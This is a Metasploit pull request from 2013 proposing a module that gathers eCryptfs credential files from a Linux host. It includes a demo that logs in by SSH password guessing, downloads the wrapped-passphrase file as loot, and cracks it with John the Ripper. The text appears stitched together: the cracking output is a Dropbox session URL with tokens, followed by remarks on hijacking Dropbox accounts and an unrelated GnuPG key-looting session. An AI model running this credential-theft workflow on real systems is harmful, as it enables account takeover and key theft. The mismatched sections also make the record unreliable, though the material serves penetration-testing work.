rapid7/metasploit-framework — pull request #2168 by kholia (2013-07-28 17:49:49+00:00)
Title: Add information gathering module for eCryptfs

Hi,

I have implemented a information gathering module for eCryptfs. It has been tested against Linux.

Usage:
---------

* Setup demo

```
✗ cat my.rc
use auxiliary/scanner/ssh/ssh_login
set PASSWORD test
set RHOSTS 127.0.0.1
set USERNAME test
set ExitOnSession false
exploit
use post/linux/gather/ecryptfs_creds
set SESSION 1
exploit
```

* Launch demo

```
✗ ./msfconsole -r my.rc
...
[*] 127.0.0.1:22 SSH - [2/2] - Trying: username: 'test' with password: 'test'
[*] Command shell session 1 opened (127.0.0.1:33403 -> 127.0.0.1:22) at 2013-07-28 23:09:45 +0530
[+] 127.0.0.1:22 SSH - [2/2] - Success: 'test':'test' 'uid=1001(test) gid=1001(test) groups=1001(test),984(ecryptfs) ... x86_64 x86_64 x86_64 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (my.rc)> use post/linux/gather/ecryptfs_creds
resource (my.rc)> set SESSION 1
SESSION => 1
resource (my.rc)> exploit
[*] Finding .ecryptfs directories
[*] Looting 1 directories
[*] Downloading /home/test/.ecryptfs/auto-mount -> auto-mount
[+] File stored in: /home/attacker/.msf4/loot/20130728231014_default_127.0.0.1_ecryptfs.automo_408499.txt
...
[*] Downloading /home/test/.ecryptfs/wrapped-passphrase -> wrapped-passphrase
[+] File stored in: /home/attacker/.msf4/loot/20130728231018_default_127.0.0.1_ecryptfs.wrapped_322873.txt
[*] Post module execution completed
```

* Cracking "hashes" with JtR-jumbo (bleeding-jumbo branch)

```
$ ../run/ecryptfs2john.py /home/attacker/.msf4/loot/20130728231018_default_127.0.0.1_ecryptfs.wrapped_322873.txt > hash

$ cat dict
openwall

$ ../run/john hash -w=dict

https://www.dropbox.com/tray_login?i=487148435&t=1361113826&v=d7b81e770f4a5724bf92430eb598dadd86877367&url=home&cl=en_US

```

Clicking on the output of dbjack.rb gives us access to user's Dropbox.

![dropbox_creds_demo](https://f.cloud.github.com/assets/79528/165059/aa468da6-7914-11e2-8773-ad61a6fa928a.png)

There are other (longer / cumbersome) ways to hijack Dropbox accounts.

# looting phase

msf post(gpg_creds) > exploit
[*] Finding .gpg directories
[*] Looting 1 directories
[+] Downloading /home/user/.gnupg/pubring.gpg -> pubring.gpg
[+] Downloading /home/user/.gnupg/random_seed -> random_seed
[+] Downloading /home/user/.gnupg/secring.gpg -> secring.gpg
[+] Downloading /home/user/.gnupg/trustdb.gpg -> trustdb.gpg
[*] Post module execution completed

# cracking phase

➜ src git:(unstable-jumbo) ✗ make gpg2john
g++ -Wall gpg2john.cpp -lcrypto -o ../run/gpg2john

➜ src git:(unstable-jumbo) ✗ ../run/gpg2john ~/.msf4loot/...secring.gpg > hash

➜ src git:(unstable-jumbo) ✗ ../run/john hash
Loaded 1 password hash (OpenPGP / GnuPG Secret Key [32/64])
openwall (/home/user/.msf4/loot/...secring.gpg)

:-)

Please review.

Thanks,
Dhiru